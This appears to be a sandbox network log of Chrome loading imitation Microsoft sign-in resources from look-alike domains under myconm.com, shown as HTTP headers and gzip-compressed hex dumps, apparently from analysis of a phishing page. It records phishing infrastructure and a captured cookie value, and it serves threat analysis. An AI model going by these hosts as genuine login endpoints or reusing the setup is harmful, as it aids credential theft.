2024-12-09 17:42:47 UTC	16384	IN	Data Raw: 22 aa 1b 5f ba 75 67 6d 2c 49 f2 1e 38 e9 6e 6f e7 3e d4 b2 f7 06 c2 8a 89 32 d7 d3 9a 1d d9 43 15 57 b7 f6 b1 cc 79 fc 8f cf 90 0b 01 49 6d 81 9f 79 c5 17 57 27 62 b8 56 f1 84 37 cb 30 dd 70 b2 86 84 23 26 a8 13 89 c2 95 e3 b4 64 fe 2a ca 85 cd e5 26 9f 0f 38 79 aa cd 95 4c 13 d7 0b 0b ce 9e 7b 19 25 43 69 ff fa ef 96 2e bd 24 09 0f 86 1c 0a 0a 7a b4 99 9c 63 54 86 5c be 0a 06 a3 2a dd 4b b6 d8 fb e7 70 f2 1f 2a c7 61 01 c5 46 56 3d ff c6 72 ce 2c 57 80 54 9e b5 20 e5 14 d9 de f3 8b 63 7e 78 e2 b9 92 e3 db de f9 96 e0 9f 22 84 df 84 e7 bb 08 45 7e 46 bc 02 a2 e3 74 74 2d 40 8d d5 f7 dd 55 84 eb 03 f1 57 f0 87 9a b3 8a ef 6a cf 2a e6 06 d5 b2 33 5b 49 4a f1 79 d6 05 23 26 af ef f5 c8 79 28 6f 36 8c 71 d4 8e 53 b1 00 ad 88 20 66 62 58 e3 94 8a fc 6a 3c 68 Data Ascii: "_ugm,I8no>2CWyImyW'bV70p#&d&8yL{%Ci.$zcT\KpaFV=r,WT c~x"E~Ftt-@UWj3[IJy#&y(o6qS fbXj<h
2024-12-09 17:42:47 UTC	3453	IN	Data Raw: c1 7a c2 f9 cb 91 08 ca e6 4a 94 34 8b be 4b bf 26 5a ed a8 e1 1a 09 b7 31 da dd 1d bd 2a 46 da cc 26 e8 e5 42 47 1d 8d 49 5f 2b a8 af 5a d6 84 13 52 5d 7b 7b fb a8 4c 2d 93 91 d2 2f 16 1d a8 79 39 28 a5 fc 23 94 67 ca 4e 07 a4 5d 48 74 22 a1 ee eb 0f d1 37 7b 7b 2c 1a d2 1a b2 cb 71 df 4b 55 9a ea 7a c7 6c 05 30 68 f8 c9 48 8f 89 34 63 a3 86 20 ba 61 fd 63 e6 5f 2a 7e 3c f6 93 74 b6 36 ec b9 e3 d2 32 18 c9 a7 99 c5 93 9f 63 c7 1b d1 83 d6 40 0b 0b 68 df f1 a9 f0 fc e2 08 0b 31 04 68 4d f5 9c 96 ec 12 4e df 46 da 68 13 2d 9e 62 6a 5f 73 98 72 23 15 a3 93 31 3c 64 c9 eb 24 5c f9 40 93 c1 af a1 45 a4 64 3f fb 80 b1 ce 95 c8 7a e2 ab 60 75 eb 96 87 0d 94 47 0c 63 db f4 c0 43 9c b1 88 ed 58 e5 53 fb 02 a2 8e a3 62 81 6d 02 2e 83 5b b0 8e d7 8c 70 11 a8 5f 32 Data Ascii: zJ4K&Z1F&BGI_+ZR]{{L-/y9(#gN]Ht"7{{,qKUzl0hH4c ac_~<t62c@h1hMNFh-bj_sr#1<d$\@Ed?z`uGcCXSbm.[p_2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.17	49800	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:48 UTC	652	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://offcap.myconm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:50 UTC	790	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:49 GMT Content-Type: text/css Content-Length: 20410 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 08 Nov 2024 04:59:25 GMT etag: 0x8DCFFB21E496F3A x-ms-request-id: 3a76ae7b-101e-006f-1dd0-46be1a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174249Z-15b54885d96n27d7hC1FRA3pf80000000dzg000000004fpr x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:42:50 UTC	15594	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d 6b 93 db 36 b2 e8 77 ff 0a ee a4 52 eb c9 4a 8c 48 3d 47 53 49 ad e3 78 93 39 c7 af b2 9d 7d 54 2a b5 c5 91 a8 11 8f 29 51 97 a4 66 3c ab a3 ff 7e f1 46 03 68 90 d4 78 b2 d9 7b 2b eb 8d 2d a2 1b 0d a0 d1 68 a0 81 6e e0 eb af fe 10 3c 2f 76 f7 65 76 b3 ae 83 a7 cf cf 83 57 d9 a2 2c aa 62 55 93 f4 72 57 94 49 9d 15 db 30 78 96 e7 01 43 aa 82 32 ad d2 f2 36 5d 86 c1 57 5f 7f fd d5 1f 9e f4 bb ff 2f 78 ff e1 d9 bb 0f c1 9b bf 04 1f 7e bc 7a f7 7d f0 96 7c fd 23 78 fd e6 c3 d5 f3 17 41 67 2a 4f 9e 7c 58 67 55 b0 ca f2 34 20 ff 5e 27 55 ba 0c 8a 6d 50 94 41 b6 5d 88 5a a7 55 b0 21 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 b4 21 cf aa 9a 64 ba 4e f3 e2 2e 78 4a c8 95 cb e0 6d 52 d6 f7 c1 d5 db f3 30 f8 40 70 0b d2 Data Ascii: }k6wRJH=GSIx9}T)Qf<~Fhx{+-hn</vevW,bUrWI0xC26]W_/x~z}\|#xAgO\|XgU4 ^'UmPA]ZU!Y:ve?!dN.xJmR0@p
2024-12-09 17:42:50 UTC	4816	IN	Data Raw: 78 ce 2b 2b 6e 13 d6 17 0b 8b ca ba c2 a2 2a 8b 88 bd ac 2c 12 31 2f 2a 2b 24 e5 a1 95 75 9e df 51 bb 5f 6a 19 63 dc bc c9 45 89 b5 70 47 5d 70 ca fb 9e 0e 20 56 49 be 20 69 14 01 46 49 a3 08 a2 a9 10 de 51 33 ab ab 42 ad 3a 03 51 82 c9 86 58 21 80 b6 66 35 88 5b 0b 1a d2 44 af 18 0e 06 e3 65 32 71 db a4 25 ce 20 03 a5 0f 01 b4 b6 c9 2f 95 2d 68 58 9b 7c d2 ca db f4 30 61 ec 73 a7 f6 1e b8 a8 5b 0e 36 f1 85 8e 36 04 a6 86 1b 02 93 e3 0d 14 66 70 df 93 6e 56 08 83 b4 76 40 43 45 db f0 b0 2e 10 57 99 1b 46 0a 7a 9a 6c 5e eb 5b 91 85 43 fa 34 bc 98 9d 23 97 02 03 20 96 48 ba 89 37 5f 87 50 e3 87 e3 60 22 80 5b d9 23 19 93 28 7f 18 bb 0c ee 13 f6 9e b3 cc 4f 7d b0 93 e5 be fa 81 1c e1 db 81 87 f8 c3 85 9e 97 26 d9 ad e4 e2 f9 d0 f9 26 d9 66 bb 7d ce d8 eb 5e Data Ascii: x++n,1/+$uQ_jcEpG]p VI iFIQ3B:QX!f5[De2q% /-hX\|0as[66fpnVv@CE.WFzl^[C4# H7_P`"[#(O}&&f}^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.17	49799	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:48 UTC	629	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://offcap.myconm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:50 UTC	807	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:50 GMT Content-Type: application/x-javascript Content-Length: 122347 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 01 Nov 2024 20:24:27 GMT etag: 0x8DCFAB32EE49129 x-ms-request-id: 5b5db0b7-f01e-0005-6ed0-446632000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174249Z-15b54885d96pvbqdhC1FRApzxc0000000nzg00000000w6pu x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:42:50 UTC	15577	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7b 57 e3 b8 b2 38 fa ff fd 14 c1 7b 5f 26 19 4c 3a ce 8b c4 b4 87 13 02 74 b3 07 08 43 a0 67 f6 a1 d9 2c c7 56 82 07 c7 ce b1 1d 1e 3b e4 7c f6 5f 55 49 b2 e5 c4 a1 bb e7 9c 75 ef ba eb ee 47 13 4b a5 57 a9 54 aa 2a 95 4a 1f 7e de fa bf 4a 3f 97 76 bf ff 3f a5 e1 75 ef ea ba 34 38 29 5d 7f 3e bd 3a 2a 5d c2 d7 3f 4b 17 83 eb d3 fe f1 f7 d7 83 8d e2 ff af 1f bc b8 34 f6 7c 56 82 bf 23 3b 66 6e 29 0c 4a 61 54 f2 02 27 8c 66 61 64 27 2c 2e 4d e1 df c8 b3 fd d2 38 0a a7 a5 e4 81 95 66 51 f8 27 73 92 b8 e4 7b 71 02 85 46 cc 0f 9f 4b 65 a8 2e 72 4b 97 76 94 bc 96 4e 2f 2b 55 a8 9f 41 6d de c4 0b a0 b4 13 ce 5e e1 f7 43 52 0a c2 c4 73 58 c9 0e 5c aa cd 87 8f 20 66 a5 79 e0 b2 a8 f4 fc e0 39 0f a5 73 cf 89 c2 38 1c 27 a5 88 39 Data Ascii: {W8{_&L:tCg,V;\|_UIuGKWTJ~J?v?u48)]>:]?K4\|V#;fn)JaT'fad',.M8fQ's{qFKe.rKvN/+UAm^CRsX\ fy9s8'9
2024-12-09 17:42:50 UTC	14460	IN	Data Raw: 3b 50 89 04 ec f1 2d c2 5a 13 0f 60 cd 81 b0 92 2a d5 b6 52 bb b5 55 d3 ed 2a 43 5f 08 8c 3d f3 9d aa 20 68 24 52 f0 ce ca 5a 1e 68 09 c0 81 9f f0 78 a1 5c 11 52 77 79 11 f0 cb fe 9a ed 3f db af b1 b6 ac 40 83 b8 1b c0 78 07 33 ec 50 0c 78 b1 89 cb 38 91 37 ca f7 5f a9 3f 83 28 67 02 2d a0 00 a4 9f 32 3f a1 4e b8 93 41 59 2d 34 63 ec b1 cc 95 57 9c 30 b4 90 4d 67 78 69 86 3b 80 58 45 7b 0e f0 14 00 1c 64 83 61 59 85 95 6f 98 9c f6 33 fb 86 27 1d a4 df 9b 36 1d 4d 00 06 9a 00 84 ca 0f d2 b7 b8 87 9d cd 58 bc 52 0e f5 77 f4 11 01 85 e9 c8 8e 1e b3 88 09 fb de 8a e7 db 21 fa 63 91 2f 21 5e 04 59 cd fd 1d fd b2 94 dc b5 fa 2c 1b c5 26 f4 34 a6 db 33 17 78 d3 1c f6 90 aa 0b 50 59 4a a2 2b 74 0b 6b 3c da e0 7e c7 ac a8 5a e4 e6 88 66 d1 cd fd 16 3e 65 b8 8d be Data Ascii: ;P-Z`RUC_= h$RZhx\Rwy?@x3Px87_?(g-2?NAY-4cW0Mgxi;XE{daYo3'6MXRw!c/!^Y,&43xPYJ+tk<~Zf>e
2024-12-09 17:42:50 UTC	16384	IN	Data Raw: 80 e1 01 0e 69 87 c0 34 0f f5 71 1a fe 2e ba 8f 91 7a 19 18 19 7d 18 d1 0f d9 90 74 21 3b e3 31 52 06 9f c5 03 e4 40 95 ca 24 cd 32 3e 61 f6 a2 31 ae 17 f9 7a 16 d4 17 06 57 32 e9 6a e0 bf 52 53 7e b7 8f f2 d0 f8 de c8 2a ed d8 46 6c c7 36 a3 18 7f 90 f1 83 c8 23 f4 ca 0a a7 a8 77 dc 33 52 ba f6 63 80 3a 5e f2 ab b1 4f 5e 38 8e 2b 51 e8 dc 3b bf e7 5f 21 05 8c f7 d1 c2 db c5 c5 77 30 07 9f 9b 38 a2 fe 9b b0 60 35 70 cd 1e 84 d3 66 89 f8 25 46 c6 fd d9 ff 05 8a 40 8a 0d e3 20 ac cc 09 84 20 10 be 62 75 cd eb ec 20 a5 c0 b1 b4 4f 52 1b 4f d8 95 58 1d 13 51 a1 8d 0a 04 39 a4 07 05 91 83 64 e2 07 23 34 2f 97 a4 1a 45 f3 16 76 40 74 4d 48 84 cf 87 48 f0 77 65 2f d6 56 aa bd c8 dd b5 6d 06 3c da 65 2c b0 3d a0 86 94 8c c0 3d 16 fe db 6a b3 bd 47 ab 7d de e3 47 Data Ascii: i4q.z}t!;1R@$2>a1zW2jRS~*Fl6#w3Rc:^O^8+Q;_!w08`5pf%F@ bu OROXQ9d#4/Ev@tMHHwe/Vm<e,==jG}G
2024-12-09 17:42:51 UTC	16384	IN	Data Raw: 5f cd 7a c0 aa 0b ce b0 53 7d ff 21 1a f3 bb 0f 35 f5 9c c0 01 b9 33 1a 71 86 a3 9a 0c 0c 3f 83 7e af 9c e7 c4 1e 0b 2d a9 94 0d dc 2b bd a6 d5 c0 77 d3 f1 84 85 41 72 c8 ec 8c 2c 93 e6 57 fc db 7a 3d a4 9d 7e c0 db 7e f0 29 ce 6f 30 14 d9 49 aa 86 f8 47 7b 5c e0 5a 82 f9 b9 e5 f3 41 4e 82 9d 83 8f 08 3d 34 ef ec d6 8c 85 f8 7c ac 8d df 39 4b cf 2e 00 f7 1a b6 81 5f 1e db cd a5 db a1 78 7b 64 bf ad 33 ff e4 8c bb 56 3e 7d 60 16 25 dd d8 8d 98 90 51 04 cf 8b 5d 47 9e 5e 5f 8f c4 7e 7a 8b 73 b3 97 65 7b 48 04 73 ce 37 f6 2c 5b cc 27 65 78 6b 67 98 26 5f 26 d1 b8 3c 1c c3 9a e1 b4 f6 c4 89 bd 96 06 64 0d 68 af a5 23 7b d4 71 c3 c2 dc ef b1 95 b9 1c 11 dd 16 6a 85 ae 5b 5d b9 86 0a 0f 79 76 20 d5 e7 bc a9 f1 05 26 cc 4a 94 fd 61 f0 30 25 4c 2a c5 89 ae ba a8 Data Ascii: _zS}!53q?~-+wAr,Wz=~~)o0IG{\ZAN=4\|9K._x{d3V>}`%Q]G^_~zse{Hs7,['exkg&_&<dh#{qj[]yv &Ja0%L*
2024-12-09 17:42:51 UTC	2731	IN	Data Raw: bd f1 9e 11 2f d8 82 e9 28 d0 3c 7b 8c f5 68 fa 0d fa 31 f3 81 3e 0a b6 5c 1c bd e0 8d f5 77 ab 55 ca 6b 01 59 27 a0 bf 49 a6 b1 f1 a4 b1 5d 77 3b bd 26 6a c9 16 39 75 53 39 30 a9 a5 9c 40 e4 fb 99 b7 08 1a 15 45 b6 68 9a 55 0b 41 d1 47 48 c0 48 a3 d3 24 85 53 ea 4a 80 27 d9 d3 a7 99 22 a0 5a 5c 84 68 30 70 b3 a5 9a 45 ad 3e 89 d9 85 d6 cf 1e 1e 22 3e 71 e4 cb d0 33 48 5b 61 56 d0 05 61 a7 ad d5 ff 65 d9 11 be 4d dd 0d 60 44 a0 59 a7 60 39 f3 d8 43 36 73 a7 7f 46 b0 ec ae a8 a3 1a 05 de ce 50 08 f7 b6 47 0f 3c 21 1f 17 4f 65 2a 35 9d 4a 10 b4 fe b5 9e 2b 7e 12 12 21 4d 39 19 ac 92 18 e1 9f 3c 8d ee a0 7e 58 65 97 3e fb 2e 16 0c 6c 91 89 e8 6b ea 8f b8 22 2d b9 5c 26 e3 71 9c 3e e2 c0 a2 1a fa a7 3c 58 6c b6 a8 db b6 67 39 60 5b 16 7a 96 b8 d8 d0 6f a5 ba Data Ascii: /(<{h1>\wUkY'I]w;&j9uS90@EhUAGHH$SJ'"Z\h0pE>">q3H[aVaeM`DY`9C6sFPG<!Oe*5J+~!M9<~Xe>.lk"-\&q><Xlg9`[zo
2024-12-09 17:42:51 UTC	16384	IN	Data Raw: 4f 73 fa 31 18 f1 9f 60 ea d2 0f 92 aa 87 7e c1 37 e8 97 b7 b6 11 e4 f4 5f a6 da 30 45 9b e7 f8 e7 1a ff 64 e1 84 be 74 d1 cf 1e 1e f2 be 77 11 ce 68 f8 a9 8a e7 1b 3e b1 4f 17 f4 01 b9 81 6f cc a5 a1 d3 d3 a9 ea e4 59 78 4f fc 6e 39 2f 82 d2 17 7c 92 f4 f4 f9 f3 1c 70 31 34 15 c8 ff 85 94 49 aa 12 aa 81 ea 1d 5c 2f af 24 51 95 c4 54 49 a6 2b c9 60 dc a7 4a 7d ba e7 47 34 b9 70 56 7d 78 98 aa 64 63 ea 55 5a b3 65 c4 ec 86 69 48 7e b6 b0 41 ba b0 78 dd 6b 62 28 69 7b 8f 89 d6 ec 25 d7 49 89 e8 f7 02 4e a0 df 4c 3c 7f da 83 cb 70 ce ee d7 2d 4c b5 9a b5 31 09 9d 61 96 4d e3 c8 4e 7b 35 b8 af 57 1b 24 0b 80 ca dc 2f fc 12 8e 21 34 d4 62 9e 45 ea 18 15 61 62 e0 05 58 0c 23 c6 63 8c 13 89 c8 2a 03 b3 8e e1 65 cf 38 72 a9 75 4b 17 4a bc 4a c3 3e 2f 93 69 c1 e8 Data Ascii: Os1`~7_0Edtwh>OoYxOn9/\|p14I\/$QTI+`J}G4pV}xdcUZeiH~Axkb(i{%INL<p-L1aMN{5W$/!4bEabX#c*e8ruKJJ>/i
2024-12-09 17:42:51 UTC	16384	IN	Data Raw: cb 60 37 9d a5 0e c4 82 97 41 95 88 b8 00 07 b7 05 63 b0 04 82 90 54 16 e8 c9 b7 db 8a 59 ed c6 68 46 49 02 8b d5 83 09 13 0b 3f 61 9e 2b 78 22 b9 f4 ec 3c 0c 49 48 ee 86 9e fc d4 06 8d c6 2c cb 03 ac 89 1d 40 30 b9 9c 25 be 4f da 73 08 c1 be 9b a9 33 9a 51 16 80 7c 72 e9 c7 36 d8 b8 17 d9 8e 1f 3b 0c b3 09 16 2b 6c db dd 09 27 77 83 d4 75 05 64 5e 4e 66 a1 63 27 90 e4 2e 13 8e ef c4 90 ef b1 1f 25 d1 4e ba 31 9a 51 22 82 28 76 ec d0 73 63 df b6 69 60 76 66 07 50 5c 88 a9 87 b7 dc 9f 5b eb 0c 16 a1 c3 ec 38 f6 45 c2 7d e8 e7 12 9c 4f f0 2c 63 b0 07 98 cf c5 ed f6 4e 57 bb 31 9a 11 97 81 cc 6c 06 c5 88 b1 c8 f7 80 83 dc 76 13 a8 12 91 9b 89 38 d9 89 66 e4 46 a9 1f c2 b0 08 59 9e 88 18 48 2e 85 70 62 d8 4c 61 86 89 e4 41 16 ef 66 4c 46 33 12 61 e0 46 2c 8b Data Ascii: `7AcTYhFI?a+x"<IH,@0%Os3Q\|r6;+l'wud^Nfc'.%N1Q"(vsci`vfP\[8E}O,cNW1lv8fFYH.pbLaAfLF3aF,
2024-12-09 17:42:51 UTC	16384	IN	Data Raw: fe fe 67 9d 4f a3 ed 4f fe bc 1c bf e6 f5 5c 03 b1 cf 15 14 fb 6f 1a 30 3e b3 04 a0 ac 1c ab 23 7f 50 67 ec 68 c7 5d 6c 2c f6 bb ef 3e 7c 09 88 f3 f4 94 ee 7c 2a 2a 76 96 15 27 17 5d 74 b9 be 6d 45 8d ec 8b 4e 2b ff 21 3b 0c d3 92 af eb e2 e6 e5 46 63 e9 77 8a f2 fe ef dc 2f fb e1 2d 03 a3 a3 2b 14 3f a3 93 60 fa 96 11 27 a3 5e 3e 33 26 7f 26 ad f2 b3 86 d5 ec 7e 51 41 0e db 72 21 68 39 5f 3e 0f da 22 60 9c 99 f6 6b 2b a7 1d 29 8e 6f cb 09 bc ca ee b9 8d 3e ba 3b 7e 76 6d 1d f5 d3 f5 9f aa 44 db 6b 96 51 6f 89 cf be 7b 23 64 f5 7a 51 9e 1f 57 e5 e3 77 92 5f 2c 56 bc 42 eb 9f 3f dd 8e ce bf bd a9 19 fd f5 33 f1 ff cf 42 dd a6 f1 db d1 b5 01 fb 73 53 f4 17 85 9f ed b2 f5 0d 36 1b db aa bf ff 19 31 e2 f8 5c 4a 91 5d 9c 9d ef 5c 9c 77 30 a7 32 dd 7c 81 f2 fc Data Ascii: gOO\o0>#Pgh]l,>\|\|**v']tmEN+!;Fcw/-+?`'^>3&&~QAr!h9_>"`k+)o>;~vmDkQo{#dzQWw_,VB?3BsS61\J]\w02\|
2024-12-09 17:42:51 UTC	7659	IN	Data Raw: d0 43 40 a3 01 07 10 04 57 e8 b3 f6 8b e8 f0 17 e2 e0 08 90 22 d9 b6 06 53 4d 23 37 9a 6b df 48 63 7d fe e2 ec 04 44 ac ab 98 71 d3 1f 11 7c bf 6b bf 91 e9 97 3b ed 1f dc 56 f7 3b c1 33 e5 9f f8 af bf d3 77 ff a4 ff fe 8b 4c 83 5e 94 81 15 d3 4b 69 ff 2e 3d 7b d5 ed a1 17 4f e8 75 be 64 bb f6 3b 9a b3 6c 3f be eb e6 82 03 e1 4e fc ec 7c b4 f3 23 79 2a 1b 38 f9 a9 69 48 3e b5 3c 29 6d 15 15 e9 ec 10 53 57 1d 30 c9 ee cb 29 88 87 20 1e cd 39 6b d8 ff bb f6 42 74 bb ff 6f bc da 75 40 9e 3c e9 04 bd a3 6b b4 44 cd a7 c0 33 b1 55 bf f3 c5 2d b0 f9 fd 98 dc 75 7b 7f 4f a0 97 2f 80 d1 fb bf 6b f4 a0 e5 c4 db 3f ef 1d b3 6f 09 0a 59 b3 e2 fe 78 a7 05 28 68 6a 76 8f 7b 08 f1 71 f0 94 5b 5d 3c 19 86 09 ed df 6f 72 8b 65 8c a7 e9 fb 44 f3 0b 93 d2 96 05 f6 e8 ed 5f Data Ascii: C@W"SM#7kHc}Dq\|k;V;3wL^Ki.={Oud;l?N\|#y*8iH><)mSW0) 9kBtou@<kD3U-u{O/k?oYx(hjv{q[]<oreD_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.17	49798	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:48 UTC	648	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://offcap.myconm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:50 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:49 GMT Content-Type: application/x-javascript Content-Length: 16345 Connection: close cache-control: public, max-age=31536000 last-modified: Sat, 26 Oct 2024 01:33:48 GMT etag: 0x8DCF55E3D91C34E x-ms-request-id: 8bbe91b5-001e-0011-042f-4a2e5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174249Z-15cf8f76fbb8cqkhhC1DUSzdqw000000017g00000000s6sb x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:42:50 UTC	15572	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c1 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 9b b5 3f 8d bd c0 df 13 fb 8f ea 77 21 d8 f3 f7 1f bd 9b 3d ef 47 ff e7 fd 50 c4 eb d0 2f e0 ef 92 f8 b4 0a c2 38 7a f5 d1 0d 0b 71 03 5f 35 1e e5 bb fa e3 67 c7 9b d5 7d 67 11 b8 33 31 ab ff a1 f2 f9 95 6c 2a b0 e9 d4 5d 2c f6 62 d5 83 13 3b c9 ef 60 1f 1e b8 59 e3 0f e5 a4 e0 33 0e e3 35 1e 75 47 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d 60 af bc ff 79 ef c7 64 1a 4e e0 78 00 fc 5e 75 9f a0 f4 1b de 5e 05 fa 87 3f 87 fb 4e 08 7f 8e f6 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo?w!=GP/8zq_5g}g31l*],b;`Y35uGAiNP6<w(`ydNx^u^?N
2024-12-09 17:42:50 UTC	773	IN	Data Raw: e8 04 1b c0 7a 77 4c f1 70 ee 03 7e b9 52 66 00 e0 2d 4b 19 b6 30 82 b4 8c 07 10 e2 6a 41 51 4f 3c 0d 86 9c fb 90 51 1e b8 7e 38 ef ac ca 5b ce 0d e6 a8 e8 40 1c 3c 54 74 00 12 3d d5 58 6e a1 df 32 fc 96 7e 1f e6 a4 0f c0 6d c1 20 4b f4 e5 94 23 08 f2 7a 2b a7 b0 22 f9 95 e1 1b bc 5a 63 78 0f a0 e3 c1 92 39 86 02 bf 1f 40 12 07 fe c0 04 ed 43 f1 51 60 30 01 9f 99 b9 11 22 9c 9c 46 f5 21 03 4e d8 91 99 23 47 70 69 f5 43 13 bf cf 2b a3 5b 30 aa 4d 00 19 ad 61 59 30 a3 07 1c ad 07 46 55 f6 20 7e 60 b4 50 c6 37 58 14 8d 87 24 dd 1a 60 1d ef 0e ff 78 de 3c 3f 3d 3f 29 da 42 15 9f 5b 3c cd 11 b4 5f 48 e5 b0 5e 8c 8c 27 d8 05 98 35 59 15 2d 93 07 3e a7 63 10 ab 63 49 07 c0 d2 95 1b 8e 96 fc d4 b9 0c ab 80 76 df 91 f7 17 e2 c7 c6 08 08 ae 98 e1 2e 77 5a 67 fd 21 Data Ascii: zwLp~Rf-K0jAQO<Q~8[@<Tt=Xn2~m K#z+"Zcx9@CQ`0"F!N#GpiC+[0MaY0FU ~`P7X$`x<?=?)B[<_H^'5Y->ccIv.wZg!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.17	49801	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:51 UTC	559	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:42:53 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:52 GMT Content-Type: application/x-javascript Content-Length: 16345 Connection: close cache-control: public, max-age=31536000 last-modified: Sat, 26 Oct 2024 01:33:48 GMT etag: 0x8DCF55E3D91C34E x-ms-request-id: 5d94a772-a01e-004d-7ad0-440cba000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 